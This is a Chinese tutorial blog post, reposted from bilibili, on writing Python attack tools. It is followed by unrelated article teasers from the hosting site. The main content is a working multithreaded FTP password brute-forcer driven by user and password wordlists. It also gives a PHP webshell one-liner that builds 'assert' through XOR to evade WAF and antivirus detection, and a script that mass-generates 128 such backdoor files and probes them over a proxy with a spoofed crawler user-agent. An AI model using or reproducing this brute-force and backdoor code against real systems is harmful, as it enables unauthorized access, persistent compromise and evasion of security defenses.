python开发poc2

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect('192.168.109.1', 21)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':q = queue.Queue()#创建一个队列对象for usern in open('user.txt'): #循环遍历用户名for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(10):#创建十个线程t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码# while not q.empty():
def ftp_bao(ip,port):while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect(ip, port)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':ip = sys.argv[1]port = sys.argv[2]username = sys.argv[3]passwd = sys.argv[4]xc = sys.argv[5]q = queue.Queue()#创建一个队列对象for usern in open(username): #循环遍历用户名for passfile in open(passwd):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(int(xc)):#创建十个线程t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数t.start()# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/300087.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue想要突破全局样式限制又不影响别的页面样式怎么办

<!-- 用scope盖不住全局&#xff0c;随意来个class匹配私定&#xff0c;搜索关键词&#xff1a;不要随便改&#xff0c;乱打class名 --> <style> .lkajsdfjkalsfhkljashkflhaskl .el-input.el-input--default.el-input--suffix { width: 160px !important; } …

cJSON(API的详细使用教程)

我们今天来学习一般嵌入式的必备库&#xff0c;JSON库 1&#xff0c;json和cJSON 那什么是JSON什么是cJSON&#xff0c;他们之间有什么样的关联呢&#xff0c;让我们一起来探究一下吧。 JSON&#xff08;JavaScript Object Notation&#xff09;是一种轻量级的数据交换格式&…

部署k8s客户端,及docker私仓部署

1.部署一个docker私仓 mkdir /opt/docker/registry #配置仓库密码 mkdir /opt/docker/auth cd /opt/docker/auth htpasswd -Bbn admin admin > htpasswd#运行docker私仓服务&#xff0c;下面端口5000:5000 前面的5000对应本机端口可以自定义 docker run -itd \ -v /opt/d…

LeetCode-33. 搜索旋转排序数组【数组 二分查找】

LeetCode-33. 搜索旋转排序数组【数组 二分查找】 题目描述&#xff1a;解题思路一&#xff1a;二分查找。1.找哨兵节点&#xff08;nums[0]或nums[-1]&#xff09;可以确定nums[mid]位于前一段或后一段有序数组中。2. 就是边界left和right的变换&#xff0c;具体看代码。解题思…

第十二届蓝桥杯大赛软件赛省赛C/C++大学B组

第十二届蓝桥杯大赛软件赛省赛C/C 大学 B 组 文章目录 第十二届蓝桥杯大赛软件赛省赛C/C 大学 B 组1、空间2、卡片3、直线4、货物摆放5、路径6、时间显示7、砝码称重8、杨辉三角形9、双向排序10、括号序列 1、空间 1MB 1024KB 1KB 1024byte 1byte8bit // cout<<"2…

Java设计模式:桥接模式实现灵活组合,超越单一继承的设计之道(十)

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 目录 一、引言二、什么是桥接设计模式三、桥接设计模式的核心思想四、桥接设计模式的角色五、桥接设计模式的工作流程和实现实现方…

【JAVASE】带你了解instanceof和equals的魅力

✅作者简介&#xff1a;大家好&#xff0c;我是橘橙黄又青&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;再无B&#xff5e;U&#xff5e;G-CSDN博客 1.instanceof instanceof 是 Java 的保留关键字。它的作用是测试…

MySQL复制拓扑1

文章目录 主要内容一.安装MySQL服务器1.MySQL 安装程序和其它文件保存在下发的 mysql8-files.iso 镜像文件中&#xff0c;可以使用虚拟光驱来提取到 Linux 文件系统。代码如下&#xff08;示例&#xff09;: 2.将 MySQL8.0 程序解压到 /opt 目录&#xff0c;再创建到 MySQL 默认…

NIUSHOP完美运营版商城 虚拟商品全功能商城 全能商城小程序 智慧商城系统 全品类百货商城

完美运营版商城/拼团/团购/秒杀/积分/砍价/实物商品/虚拟商品等全功能商城 干干净净 没有一丝多余收据 还没过手其他站 还没乱七八走的广告和后门 后台可以自由拖曳修改前端UI页面 还支持虚拟商品自动发货等功能 挺不错的一套源码 前端UNIAPP 后端PHP 一键部署版本 源码免费…

自然语言处理NLP概述

大家好&#xff0c;自然语言处理(NLP)是计算机科学领域与人工智能领域中的一个重要方向&#xff0c;其研究能实现人与计算机之间用自然语言进行有效通信的各种理论和方法。本文将从自然语言处理的本质、原理和应用三个方面&#xff0c;对其进行概述。 一、NLP的本质 NLP是一种…

【数据结构与算法】力扣 19. 删除链表的倒数第 N 个结点

题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a; head [1,2,3,4,5], n 2 输出&#xff1a; [1,2,3,5]示例 2&#xff1a; 输入&#xff1a; head [1], n 1 输出&#xff1a; []示例…

【算法】两数之和(暴力求解+哈希表)

本题来源---《两数之和》。 题目描述 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里…

一种遥感影像多类变化检测方法

多任务学习孪生网络的遥感影像多类变化检测 马惠1, 刘波2, 杜世宏2 1.河南省国土空间调查规划院,郑州 450016 2.北京大学遥感与地理信息系统研究所,北京 100871 摘要: 精确掌握土地覆盖/利用的变化及变化类型对国土空间规划、生态环境监测、灾害评估等有着重要意义,然而现有…

【Unity每日一记】如何让Sprite精灵图集的背景图层变成透明,方便切割

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

微信小程序上传到gitee

共三步 1、新建gitee仓库 点号&#xff0c;新建仓库&#xff0c;填入仓库信息新建即可 2、修改版本管理参数 微信开发者工具中点开版本管理&#xff0c;未初始化&#xff0c;需要先点初始化 接下来将设置中的通用、网络认证、远程3个部分的参数填写好 通用&#xff1a;核对…

前端零基础学习web3开发

目录 1 钱包 2 发起交易 3 出块 4 块高 5 矿工 6 Gas费 这一节&#xff0c;我们不说让人神往的比特币&#xff0c;不说自己会不会利用这个虚拟的货币来发财&#xff0c;也不说那些模模糊糊的知识&#xff0c;什么去中心化啦&#xff0c;什么奇妙的加密啦&#xff0c;我们…

论文笔记:Detecting Pretraining Data from Large Language Models

iclr 2024 reviewer评分 5688 1 intro 论文考虑的问题&#xff1a;给定一段文本和对一个黑盒语言模型的访问权限&#xff0c;在不知道其预训练数据的情况下&#xff0c;能否判断该模型是否在这段文本上进行了预训练 这个问题是成员推断攻击(Membership Inference Attacks&…

1.8.4 卷积神经网络近年来在结构设计上的主要发展和变迁——Inception-v2 和Inception-v3

1.8.4 卷积神经网络近年来在结构设计上的主要发展和变迁——Inception-v2 和Inception-v3 前情回顾&#xff1a; 1.8.1 卷积神经网络近年来在结构设计上的主要发展和变迁——AlexNet 1.8.2 卷积神经网络近年来在结构设计上的主要发展和变迁——VGGNet 1.8.3 卷积神经网络近年来…

Python小白入门教程:手把手教你安装最新版本Anaconda及运行第一个程序

1、Anaconda是什么&#xff1f; 其实通过百度搜索就能了解到&#xff0c;再次可以看下它自己官网的介绍&#xff1a;如下 简单的说&#xff0c;它就是一个集成的管理软件&#xff0c;管理很多工具包 2、为什么安装Anaconda&#xff1f; 简单的说&#xff0c;就是为了方便&am…